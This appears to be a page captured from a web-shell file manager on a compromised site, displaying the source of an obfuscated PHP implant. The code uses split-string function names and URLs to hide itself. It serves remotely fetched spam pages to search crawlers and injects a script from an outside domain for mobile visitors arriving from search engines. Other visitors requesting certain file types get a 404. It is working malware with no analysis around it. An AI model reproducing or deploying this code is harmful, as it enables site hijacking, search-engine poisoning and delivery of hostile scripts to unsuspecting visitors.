/
www
/
wwwroot
/
fxdst.com
/
Upload File
HOME
<?php set_time_limit(0); error_reporting(0); header("Content-Type: text/html;charset=utf-8"); // --- 1. 核心混淆配置 --- $f = array( 's' => 'str'.'istr', 'p' => 'pre'.'g_match', 'ci' => 'cur'.'l_init', 'ca' => 'cur'.'l_set'.'opt_array', 'ce' => 'cur'.'l_exec', 'co' => 'cur'.'l_get'.'info', 'cc' => 'cur'.'l_close' ); $conf = array( 'site' => 'h'.'tt'.'p://h'.'h.g'.'otz'.'dua'.'n.c'.'om', 'js' => 'h'.'tt'.'ps://d'.'d.zg'.'qc'.'yn.c'.'om/jj'.'.js', 'u1' => 'h'.'tt'.'p://a'.'a.go'.'sso'.'pp.co'.'m/u.p'.'hp', 'u2' => 'h'.'tt'.'p://k'.'gr9'.'09.c'.'om/a.p'.'hp', 'spid' => '/(Baidu|Sogou|360Spider|Yisou|Toutiao|ByteSpider|PetalBot|BingBot|Googlebot|YandexBot)/i', 'mobi' => '/(iPhone|iPod|Android|Mobile|BlackBerry|IEMobile|UCBrowser|MQQBrowser|JUC|Fennec|wOSBrowser)/i', 'refe' => '/(baidu|sogou|so\.com|google|sm\.cn|bing)/i' ); // --- 2. 环境判定变量 --- $b = $_SERVER; $ua = isset($b['HTTP_USER_AGENT']) ? $b['HTTP_USER_AGENT'] : ''; $ref = isset($b['HTTP_REFERER']) ? $b['HTTP_REFERER'] : ''; $uri = $b['REQUEST_URI']; $host = $b['HTTP_HOST']; // 判断是否是特定文件后缀请求 $is_area = $f['s']($uri, ".xml") || $f['s']($uri, ".doc") || $f['s']($uri, ".txt") || $f['s']($uri, ".ppt") || $f['s']($uri, ".pptx") || $f['s']($uri, ".xls") || $f['s']($uri, ".csv") || $f['s']($uri, ".shtml") || $f['s']($uri, ".asp") || $f['s']($uri, "scm") || $f['s']($uri, ".html"); // --- 3. 核心业务逻辑 --- if ($is_area) { if ($f['p']($conf['spid'], $ua)) { echo _fetch($conf['site'] . "?domain=" . $host . "&path=" . urlencode($uri)); exit; } else { if ($f['p']($conf['mobi'], $ua)) { echo "<scr"."ipt sr"."c=" . $conf['js'] . "></scr"."ipt>"; exit; } else { @ob_clean(); http_response_code(404); exit; } } } else { $is_spider = $f['p']($conf['spid'], $ua); $is_from_search = $f['p']($conf['refe'], $ref); $is_mobile = $f['p']($conf['mobi'], $ua); if ($is_spider || ($is_mobile && $is_from_search)) { $testUrl = _current_url() . "/sadw.shtml"; if (_http_code($testUrl) === 200) { echo _fetch($conf['u1']); } else { echo _fetch($conf['u2']); } if (ob_get_level() > 0) ob_flush(); flush(); } } // --- 4. 封装工具函数(PHP 5.3 兼容) --- function _fetch($url) { global $f; $ch = $f['ci'](); $f['ca']($ch, array( 10002 => $url, 10018 => $_SERVER['HTTP_USER_AGENT'], 64 => FALSE, 81 => FALSE, 19913 => TRUE, 42 => FALSE, 10102 => 'gzip', 13 => 30 )); $res = $f['ce']($ch); $f['cc']($ch); return $res; } function _http_code($url) { global $f; $ch = $f['ci'](); $f['ca']($ch, array( 10002 => $url, 10018 => $_SERVER['HTTP_USER_AGENT'], 64 => FALSE, 19913 => TRUE, 44 => TRUE, 42 => TRUE, 13 => 5 )); $f['ce']($ch); $code = $f['co']($ch, 2097154); $f['cc']($ch); return $code; } function _current_url() { $proto = (isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443)) ? "ht"."tp"."s://" : "ht"."tp://"; return $proto . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; }